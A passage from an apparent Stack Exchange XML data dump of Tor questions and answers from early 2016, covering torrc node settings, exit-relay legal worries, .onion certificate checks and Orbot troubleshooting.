OwnerUserId="11921" LastActivityDate="2016-02-23T04:53:05.547" Title="Can’t start DHCP server in whonix gateway. Help please!" Tags="|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9723" PostTypeId="1" CreationDate="2016-02-23T10:24:31.223" Score="0" ViewCount="526" Body="&lt;p&gt;I can't access any email or accounts whatsoever on Google using Tor because it gives me a CAPTCHA and when I fill that in it just sends me back to the same CAPTCHA but with a new image, in perpetuity. Every time, it says &quot;To continue, please type the characters below&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus now every time I try to sign in to Gmail NOT using Tor, but after a Tor attempt, it forces me to create a new password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get this working to use Google with Tor?&lt;/p&gt;&#xA;" OwnerUserId="11923" LastEditorUserId="9508" LastEditDate="2016-02-29T22:32:13.400" LastActivityDate="2016-02-29T22:32:13.400" Title="Is it possible to use Google apps with Tor?" Tags="|google|captcha|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9727" PostTypeId="2" ParentId="9723" CreationDate="2016-02-23T16:58:28.400" Score="2" Body="&lt;p&gt;If the captcha is via CloudFlare you're probably out of luck. I've got through 30+ captchas and then gave up. It's a known issue that CloudFlare seems very reluctant to remedy. It's not a Google issue (this time).&lt;/p&gt;&#xA;" OwnerUserId="7282" LastActivityDate="2016-02-23T16:58:28.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9728" PostTypeId="2" ParentId="9675" CreationDate="2016-02-24T02:09:08.680" Score="0" Body="&lt;p&gt;After you launch the Tor Browser click on Open Settings. You'll be asked to Connect or Configure. Click &quot;Configure&quot;, select &quot;Yes&quot; then &quot;Next&quot; then &quot;Yes&quot; or &quot;No&quot; on if you need to use a local proxy (you probably won't need to). After that just hit &quot;Connect&quot;. All the bridge information will be stored in your torrc. &lt;/p&gt;&#xA;" OwnerUserId="7282" LastActivityDate="2016-02-24T02:09:08.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9729" PostTypeId="1" CreationDate="2016-02-24T07:40:56.127" Score="2" ViewCount="1903" Body="&lt;p&gt;So the regular recommendation is to use the Tor browser at all times because it includes no-script, https-everywhere etc by default as well as a number of other tweaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'd like to know if there's any problem with using the regular Firefox browser in Qubes-OS specifically.&#xA;Basically the virtual machine is setup to use the Whonix-Gateway as it's network-vm meaning all networking is transparently proxied through the gateway. &#xA;No browser bug, JavaScript, security hole etc will ever be able to leak my IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming leaking isn't possible, and no changes to the root directory are persistent, is it safe to use Firefox (And really, any application) with Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often hear this makes me 'Pseudonymous&quot; because my fingerprint may be somewhat unique (Private browsing is on by default so no coockies, cache or other identifiers are stored)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I can think of for why I'd want to use the Tor browser (or Whonix workstation) is because it makes me blend in with other Tor users.&lt;/p&gt;&#xA;" OwnerUserId="11932" LastEditorUserId="11932" LastEditDate="2016-02-24T09:34:28.597" LastActivityDate="2016-05-17T16:53:19.790" Title="Using regular Firefox browser with Tor in Qubes-OS" Tags="|tor-browser-bundle|deanonymization|whonix|virtual-machine|ip-address-leak|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9730" PostTypeId="2" ParentId="8956" CreationDate="2016-02-24T09:27:45.437" Score="1" Body="&lt;p&gt;It might be useful for IOS devices, or any other device that you can't run Tor on.&#xA;I could also imagine a scenario where you'd be using a public computer/laptop/tablet and you want to quickly setup a secure connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line, it's useful for devices that you don't own&lt;/p&gt;&#xA;" OwnerUserId="11932" LastActivityDate="2016-02-24T09:27:45.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9732" PostTypeId="1" CreationDate="2016-02-24T16:31:50.650" Score="1" ViewCount="416" Body="&lt;p&gt;If I buy VPS and create Tor exit node there what would happen if someone did bad thing using my exit node? (terrorism, hacking goverment sites etc) VPS provider will share information about me to FBI or another goverment organizations or just will send abuse and block my VPS because it's obviously that I'm just an operator of exit node, not terrorist?&lt;/p&gt;&#xA;" OwnerUserId="11935" LastActivityDate="2016-02-24T18:17:30.760" Title="Is it dangerous to have Tor exit node?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9733" PostTypeId="2" ParentId="9732" CreationDate="2016-02-24T16:33:28.163" Score="2" Body="&lt;p&gt;It depends on your definition of dangerous. Since I assume you aren't going to save any logs even if you're subpoenaed you don't have anything to turn over. It's not dangerous, but it certainly might be a hassle. Exit nodes are typically run by non-profits or those entities that have the time and money to address any issues that come up. Individuals are typically better off running a guard or middle node. If you're willing to deal with the hassle, please go for the exit! They are by far the most needed.&lt;/p&gt;&#xA;" OwnerUserId="7282" LastActivityDate="2016-02-24T16:33:28.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9734" PostTypeId="1" CreationDate="2016-02-24T17:21:11.117" Score="1" ViewCount="29120" Body="&lt;p&gt;I have downloaded yesterday on Andrid Orbot and Orfox. I turn Orbot on (I try with VPN, and Bridges too), but Orfox is not loads pages. The loading line is stopped on ca. 20%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orweb (the older tor browser) is works very fine, but orweb is not includes some things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have root permission, if this need.&lt;/p&gt;&#xA;" OwnerUserId="11936" LastEditorUserId="88" LastEditDate="2016-02-29T23:00:20.187" LastActivityDate="2016-03-20T23:52:41.687" Title="Orfox (Android) not loads pages :( How to resolve?" Tags="|orbot|network-configuration|android|" AnswerCount="0" CommentCount="5" ClosedDate="2017-04-21T20:32:31.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="9735" PostTypeId="2" ParentId="9732" CreationDate="2016-02-24T18:17:30.760" Score="1" Body="&lt;p&gt;If you're worried about running an exit relay, and legalities involved, the following may help put your mind at rest:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Tor blog has &lt;a href=&quot;https://blog.torproject.org/blog/tips-running-exit-node-minimal-harassment&quot; rel=&quot;nofollow&quot;&gt;an entry&lt;/a&gt; on how to run an exit node with minimal harassment&lt;/li&gt;&#xA;&lt;li&gt;The EFF has &lt;a href=&quot;https://www.eff.org/torchallenge/faq.html&quot; rel=&quot;nofollow&quot;&gt;a page&lt;/a&gt; on the legalities involved in Tor, including a specific section on exit relays&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;do&lt;/em&gt; run an exit relay (which is a great thing to do!), and you &lt;em&gt;do&lt;/em&gt; get a take-down request from your ISP, then the Tor wiki has some &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorAbuseTemplates&quot; rel=&quot;nofollow&quot;&gt;templates&lt;/a&gt; that you can use to create a well-worded response. (This is linked to from the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#Criminals&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-02-24T18:17:30.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9736" PostTypeId="2" ParentId="9055" CreationDate="2016-02-25T01:17:35.637" Score="2" Body="&lt;p&gt;Yes, there is an event that is triggered that javascript could detect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Events/fullscreenchange&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Events/fullscreenchange&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:32:02.937" LastActivityDate="2016-03-03T16:32:02.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9738" PostTypeId="1" CreationDate="2016-02-25T03:24:04.147" Score="4" ViewCount="1182" Body="&lt;p&gt;Quick question - is it possible to 'exclude' or 'bypass' certain Tor Circuits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: At this moment it shows the circuit as France - Netherlands - France. What I am wondering is, can I tell Tor to never use France in it's circuit selection? Reason being simple, France has notoriously slow servers and it slows down the whole browsing experience...&lt;/p&gt;&#xA;" OwnerUserId="11941" LastActivityDate="2016-03-03T16:33:42.030" Title="Tor circuit selection" Tags="|configuration|circuit|settings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9739" PostTypeId="2" ParentId="9738" CreationDate="2016-02-25T03:37:23.903" Score="3" Body="&lt;p&gt;Yes you can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings in torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;ExcludeNodes {fr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more on how to configure your torrc file &lt;a href=&quot;http://uscyberlabs.com/blog/2012/09/17/tor-setup-torrc-file-configuration/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-02-25T03:37:23.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9740" PostTypeId="1" CreationDate="2016-02-25T18:00:09.297" Score="2" ViewCount="2352" Body="&lt;p&gt;According to various sources (like &lt;a href=&quot;https://tor.stackexchange.com/questions/6152/how-do-i-add-the-duckduckgo-onion-version-to-the-tor-browser-search-providers&quot;&gt;this question&lt;/a&gt;) &lt;a href=&quot;https://duckduckgo.com/&quot; rel=&quot;nofollow&quot;&gt;DuckDuckGo&lt;/a&gt; has an &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow&quot;&gt;onion site&lt;/a&gt;. However,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't easily find any mention of it on their clearnet site (but I stumbled across a &lt;a href=&quot;https://duckduckgo.com/?q=duckduckgo%20onion&quot; rel=&quot;nofollow&quot;&gt;special search result page&lt;/a&gt;) and&lt;/li&gt;&#xA;&lt;li&gt;the certificate used on the onion site is not valid for the .onion address, only for *.duckduckgo.com and duckduckgo.com.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Verifying that the .onion certificate is the same as the official one and not from some CA breach is not easy: it seems &lt;strong&gt;Firefox doesn't show certificate details in the Page Info when you get a certificate warning.&lt;/strong&gt; I was finally able to compare them using this command (You can ignore the SSL session differences):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;meld \&#xA;    &amp;lt;(openssl s_client -connect duckduckgo.com:443 -status &amp;lt;&amp;lt;&amp;lt; '') \&#xA;    &amp;lt;(torify openssl s_client -connect 3g2upl4pq6kufc4m.onion:443 -status &amp;lt;&amp;lt;&amp;lt; '') &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What am I supposed to do as an end user in this situation?&lt;/strong&gt; Not use HTTPS? Ask DuckDuckGo to update their certificate &amp;amp; web site? Verify the certificate manually each time? Or have I misunderstood how .onion sites work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(DuckDuckGo is just an example; I'm sure there are other .onion sites with the same issues.)&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2016-03-12T09:17:42.190" LastActivityDate="2016-03-12T09:17:42.190" Title="How to easily verify certificates on .onion versions of clearnet sites?" Tags="|security|website|certificate|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9743" PostTypeId="1" AcceptedAnswerId="9744" CreationDate="2016-02-25T20:52:37.177" Score="0" ViewCount="152" Body="&lt;p&gt;When I researched the exit node for the tor circuit I was given, I saw that it was a forum spammer. Even after changing my identity , the new exit node was still listed as a forum spammer. Is this common with tor or dangerous ? I was using the Tor browser for linux.&lt;/p&gt;&#xA;" OwnerUserId="11948" LastActivityDate="2016-03-03T16:32:16.247" Title="Tor exit node is Forum spammer" Tags="|exit-relays|circuit|" AnswerCount="1" CommentCount="3" ClosedDate="2016-02-29T22:44:19.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="9744" PostTypeId="2" ParentId="9743" CreationDate="2016-02-25T21:13:59.740" Score="4" Body="&lt;p&gt;Tor relays which allow exiting can be used for forum spamming, as such they are often added to generic &quot;blacklists&quot; regardless of any actual abuse having occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just the nature of blacklisting and it's not dangerous to you personally while using Tor, however you may find it inconvenient. This is the price of anonymity, you are indistinguishable from spammers (without further verification, e.g. a captcha-based solution).&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:32:16.247" LastActivityDate="2016-03-03T16:32:16.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9745" PostTypeId="2" ParentId="9740" CreationDate="2016-02-25T21:40:28.467" Score="3" Body="&lt;p&gt;This is an open question. One suggestion is to actually create a new HTTP header like 'X-Onion-Address: foo.onion', which is &lt;em&gt;only&lt;/em&gt; respected after a successful TLS connection is established.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Facebook's approach is to have the onion site's TLS be properly signed and &lt;em&gt;also&lt;/em&gt; valid for facebook.com&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        X509v3 Subject Alternative Name: &#xA;            DNS:*.facebookcorewwwi.onion, DNS:facebookcorewwwi.onion, DNS:*.m.facebookcorewwwi.onion, DNS:*.fbcdn23dssr3jqnq.onion, DNS:*.xx.fbcdn23dssr3jqnq.onion, DNS:*.xy.fbcdn23dssr3jqnq.onion, DNS:*.xz.fbcdn23dssr3jqnq.onion, DNS:*.fbsbx2q4mvcl63pw.onion, DNS:www.facebook.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'darkweb-everywhere' add-on team (imagine https-everywhere but for onions) also collected evidence of the validity of claims of onion ownership, although it's no longer up to date their collected evidence can be found here: &lt;a href=&quot;https://github.com/chris-barry/darkweb-everywhere/blob/master/doc/EVIDENCE.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/chris-barry/darkweb-everywhere/blob/master/doc/EVIDENCE.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: Also, Firefox/Tor Browser will allow you to view the vertificate. When you click on 'I Understand the Risks -&gt; Add Exception' there is a 'View' button to let you view the certificate and once you've accepted it, you can click the padlock on the URL bar, go to 'More Information' then 'View Certificate' to get the same screen.&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:33:18.593" LastActivityDate="2016-03-03T16:33:18.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9746" PostTypeId="2" ParentId="9738" CreationDate="2016-02-25T22:09:49.007" Score="2" Body="&lt;p&gt;Yes, this can be done by adding &lt;code&gt;ExcludeNodes {fr}&lt;/code&gt; and &lt;code&gt;StrictNodes 1&lt;/code&gt;, that said however...you should &lt;em&gt;never, ever&lt;/em&gt; actually do this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you can't stop your connection &lt;em&gt;traversing&lt;/em&gt; France. If you pick a node in Italy and a node in Switzerland you may well traverse French networks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second of all, GeoIP is notoriously inaccurate and can be intentionally fooled. There are infact specific cases on the Tor network of nodes that lie about their location. For example &lt;a href=&quot;https://globe.torproject.org/#/relay/BC630CBBB518BE7E9F4E09712AB0269E9DC7D626&quot; rel=&quot;nofollow&quot;&gt;this Tor Node&lt;/a&gt; according to GeoIP is supposedly in Liberia. &lt;em&gt;It's not in Libera!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such by excluding French nodes you are reducing the possible paths and exit points that you will use on the Tor network and harming your anonymity.&lt;/p&gt;&#xA;" OwnerDisplayName="user11836" LastEditorUserId="52" LastEditorDisplayName="user11836" LastEditDate="2016-03-03T16:33:42.030" LastActivityDate="2016-03-03T16:33:42.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9747" PostTypeId="1" CreationDate="2016-02-25T22:30:26.267" Score="1" ViewCount="728" Body="&lt;p&gt;I am using CentOS and Tor v0.2.7.6 (compiled from source).&#xA;Nginx is used as a HTTPS proxy and listens to 127.0.0.1:443.&#xA;I have configured one hidden service. It redirects incoming data to nginx.&#xA;Service must be reliable, but it becomes unavailable when it receives &gt; 500 requests per minute. Tor is using 99.9% CPU, and tor log contains this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 25 14:01:45.000 [warn] Your Guard PartitoPirata ($6EF7A07C6C69F24ED3F501698CF4EB3DA2536BFF) is failing a very large amount of circuits. Most likely this means the Tor network is overloaded, but it could also mean an attack against you or potentially the guard itself. Success counts are 94/215. Use counts are 11/13. 96 circuits completed, 2 were unusable, 0 collapsed, and 802 timed out. For reference, your timeout cutoff is 60 seconds.&#xA;Feb 25 15:03:42.000 [warn] Your Guard fltrpb ($4B1A65328E06B3BD8C3841497212563827442534) is failing a very large amount of circuits. Most likely this means the Tor network is overloaded, but it could also mean an attack against you or potentially the guard itself. Success counts are 94/288. Use counts are 5/9. 98 circuits completed, 4 were unusable, 0 collapsed, and 5685 timed out. For reference, your timeout cutoff is 60 seconds.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is my service under DDoS and how to check and prevent it? How can I configure Tor to work with heavy loads?&lt;/p&gt;&#xA;" OwnerUserId="11919" LastActivityDate="2022-02-05T05:04:50.647" Title="Tor hidden service configured for high load" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9749" PostTypeId="2" ParentId="9747" CreationDate="2016-02-26T06:46:50.723" Score="0" Body="&lt;p&gt;You should consider moving Tor to a dedicated machine with a BIG amount of CPU cores. Don;t forget to adjust &lt;code&gt;torrc&lt;/code&gt; via &lt;code&gt;NumCPUs X&lt;/code&gt; to the real core quantity &lt;em&gt;minus one&lt;/em&gt; to make sure that your tor-host machine will have some power for itself. If you're using a cloud host for that - increase number of CPU cores for your server correcting your &lt;code&gt;NumCPUs&lt;/code&gt; directive. General &lt;code&gt;sysctl&lt;/code&gt; and &lt;em&gt;ulimit&lt;/em&gt;-based tuning is in order, of course : fast networking via buffers + number of connections. Feel free to ask further questions!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-26T06:46:50.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9750" PostTypeId="1" CreationDate="2016-02-26T12:37:01.957" Score="1" ViewCount="1121" Body="&lt;p&gt;I know a bridge is used an an entry node, but what if I want to use either another Bridge as an Exit Node, or at least, use the Bridge function for the Exit Node rather than the entry node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CLARIFICATION:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want set an external Bridge as my Exit Node, not act as a Bridge myself.&lt;/p&gt;&#xA;" OwnerUserId="11954" LastEditorUserId="11954" LastEditDate="2016-02-26T14:27:28.130" LastActivityDate="2016-02-26T14:27:28.130" Title="Is there a way to use a Bridge as an Exit Node?" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9751" PostTypeId="2" ParentId="9750" CreationDate="2016-02-26T12:56:54.527" Score="1" Body="&lt;p&gt;if it's configured like one - yes. A bridge is just an &quot;entrance&quot; for a Tor network, and it's normal if you're &lt;em&gt;also&lt;/em&gt; allowing exiting traffic from one. So you can't use &lt;strong&gt;remote&lt;/strong&gt; bridge as an exit if it's not configured as one, and you &lt;strong&gt;can&lt;/strong&gt; configure &lt;em&gt;your&lt;/em&gt; bridge to be also an exit node. That's it =) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: by @Anonymous request for information :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a Bridge you &lt;strong&gt;must&lt;/strong&gt; add to your &lt;code&gt;torrc&lt;/code&gt; next lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BridgeRelay 1&#xA;PublishServerDescriptor 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or - if you want to be a &lt;em&gt;stealth bridge&lt;/em&gt; second one must be zero( i.e. &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pluggable transports, etc are &lt;strong&gt;irrelevant&lt;/strong&gt; - they're configured separatedly &lt;em&gt;if there's a need to do so&lt;/em&gt;. Basically theese two lines &lt;strong&gt;are&lt;/strong&gt; making you a bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To become an exit you &lt;strong&gt;must&lt;/strong&gt; add just &lt;em&gt;one&lt;/em&gt; line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitRelay 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that's it! Configure your &lt;code&gt;ExitPolicy&lt;/code&gt; set to reflect what you're &lt;em&gt;explicitly&lt;/em&gt; allow and deny, but even the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;default ones&lt;/a&gt; are good for a start :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reject *:25&#xA;reject *:119&#xA;reject *:135-139&#xA;reject *:445&#xA;reject *:563&#xA;reject *:1214&#xA;reject *:4661-4666&#xA;reject *:6346-6429&#xA;reject *:6699&#xA;reject *:6881-6999&#xA;accept *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-02-26T13:28:54.697" LastActivityDate="2016-02-26T13:28:54.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9752" PostTypeId="1" CreationDate="2016-02-26T17:29:23.360" Score="0" ViewCount="6381" Body="&lt;p&gt;I'm using Tails on a newly formatted pc at home, conncting to internet via wifi. I need to remain anonymous to the recipients (no matters email encyption) so i wonder if it's enough to register a new account somewhere,even with javascript enabled, without supplying any personal relevant element, and using it by icedove or webmail to send emails: will my ip remain unknow to anyone or is it possible, to some degree (I won't fight against NSA :-) ) identify it and, at the end, to find me? I'm not particularly expert about this issues, so every suggestion (expecially if simple!) will be greatly appreciated. Thank you guys!&lt;/p&gt;&#xA;" OwnerUserId="11955" LastActivityDate="2016-06-19T03:29:59.660" Title="Email anonymity" Tags="|anonymity|tails|email|" AnswerCount="3" CommentCount="2" ClosedDate="2016-06-19T11:17:43.737" ContentLicense="CC BY-SA 3.0" />
  <row Id="9754" PostTypeId="1" CreationDate="2016-02-27T01:08:51.343" Score="1" ViewCount="198" Body="&lt;p&gt;I live in France and in my school (more likely in my &lt;a href=&quot;https://fr.wikipedia.org/wiki/Acad%C3%A9mie_%28%C3%A9ducation%29&quot; rel=&quot;nofollow&quot;&gt;académie&lt;/a&gt;) the domain *.torproject.org/ is voluntary censored however I don't see any legal power that my académie have to continue blocking the Tor project website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blocking of the official Tor website is clearly to prevent the download and usage of Tor which can affect less tech-savvy users than me and I worry about that, the usage of this network is also not illegal in my country so I don't understand this behavior&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is more about what can do a normal citizen to convince or force network administrators of (semi-)public networks to allow the usage of the Tor network and access to the official Tor website.&lt;/p&gt;&#xA;" OwnerUserId="11967" LastEditorUserId="11967" LastEditDate="2016-02-27T01:15:48.597" LastActivityDate="2016-03-07T13:20:08.710" Title="Tor website censored at school, what can I do about it?" Tags="|censorship|legal|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9757" PostTypeId="1" CreationDate="2016-02-27T15:34:43.833" Score="1" ViewCount="115" Body="&lt;p&gt;I installed Malwarebytes Anti-Exploit (free) on my PC. Malwarebytes claims that the product “wraps four layers of security around popular browsers, preventing exploits from compromising vulnerable code.” I use the Tor Browser for certain activities, for example, banking. Malwarebytes Anti-Exploit also “wraps” itself around the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone kindly inform me if using this add-on compromises Tor in any way and thus should not be using it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11972" LastActivityDate="2016-02-27T17:50:25.283" Title="Malwarebytes Anti-Exploit and Tor" Tags="|add-on|" AnswerCount="0" CommentCount="0" ClosedDate="2017-06-12T22:53:39.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="9762" PostTypeId="1" CreationDate="2016-02-28T02:47:13.147" Score="4" ViewCount="4544" Body="&lt;p&gt;I'm a Tor newbie. I've installed &lt;code&gt;tor&lt;/code&gt; and &lt;code&gt;tor-browser&lt;/code&gt; on Ubuntu &lt;code&gt;12.04&lt;/code&gt; machine. It launches well and seems to work as expected. I wanted to set my exit node in the country of my choosing and found the &lt;code&gt;ExitNodes&lt;/code&gt; directive followed by &lt;code&gt;{us}&lt;/code&gt; should do it. So I added &lt;code&gt;ExitNodes {us}&lt;/code&gt; to the very end of my &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and did a &lt;code&gt;sudo service tor restart&lt;/code&gt;. I restarted the &lt;code&gt;tor-browser&lt;/code&gt; but when navigating to &lt;a href=&quot;https://dnsleaktest.com/&quot; rel=&quot;nofollow&quot;&gt;https://dnsleaktest.com/&lt;/a&gt;, it still tells me I'm somewhere else (in Switzerland). Why is this and how do I use the &lt;code&gt;ExitNodes&lt;/code&gt; correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;br&gt;&#xA;The repo I got my instance from is &lt;code&gt;deb-src http://deb.torproject.org/torproject.org precise main&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10699" LastEditorUserId="10699" LastEditDate="2016-03-05T22:29:44.413" LastActivityDate="2016-03-05T23:31:26.030" Title="ExitNodes directive not working?" Tags="|configuration|exit-relays|ubuntu|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9763" PostTypeId="2" ParentId="9762" CreationDate="2016-02-28T05:53:50.740" Score="3" Body="&lt;p&gt;Also add &lt;code&gt;StrictNodes 1&lt;/code&gt; to your torrc.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-02-28T05:53:50.740" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9768" PostTypeId="1" CreationDate="2016-02-28T22:42:18.583" Score="1" ViewCount="892" Body="&lt;p&gt;In Brazil, your ISP, according to the law, must keep a track of the connections you do with your IP address from your network. This track is used to prove that &quot;you&quot; (or someone using your WiFi, or some virus, or someone who infected you with a Trojan, or someone with a laptop in those conditions that used it in your home, but, for our law, &quot;you&quot;) did something in your network, when someone breaks the law and there's an IP record of the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what if someone uses Tor for sharing, e.g., kid's porn, and some file transfer happens by your network's node? Would you be in trouble? Is there any way to avoid that?&lt;/p&gt;&#xA;" OwnerUserId="11988" LastActivityDate="2016-05-04T17:20:14.097" Title="Is there any Legal Issues with Tor in Brazil?" Tags="|exit-relays|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9769" PostTypeId="1" CreationDate="2016-02-28T23:10:59.647" Score="1" ViewCount="1418" Body="&lt;p&gt;I recently reset the settings on my tor browser, and now when i try to open it i get a window with the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your Tor Browser profile cannot be loaded. It may be missing or inaccessible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using Linux mint 17.3 KDE. I have tried uninstalling Tor, and then installing it again, but the same issue keeps happening.&lt;/p&gt;&#xA;" OwnerUserId="11990" LastEditorUserId="88" LastEditDate="2016-02-29T22:51:19.047" LastActivityDate="2017-06-12T11:26:13.440" Title="tor profile missing or inaccessible" Tags="|tor-browser-bundle|configuration|linux|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9775" PostTypeId="1" CreationDate="2016-02-29T20:33:46.937" Score="1" ViewCount="759" Body="&lt;p&gt;I'm using Orbot on my Android phone. It works great, but only for apps with native Orbot / proxy support. If I try to force other apps through Orbot using the &quot;transparent proxying&quot; setting, they lose their internet connection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what's the issue here? Btw, I am using AFWall, but like I said, Orbot works great for Orbot-supporting apps, just the transparent proxying for other apps doesn't work. &lt;/p&gt;&#xA;" OwnerUserId="11994" LastActivityDate="2016-04-22T08:12:19.073" Title="Orbot - transparent proxying doesn't work" Tags="|orbot|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
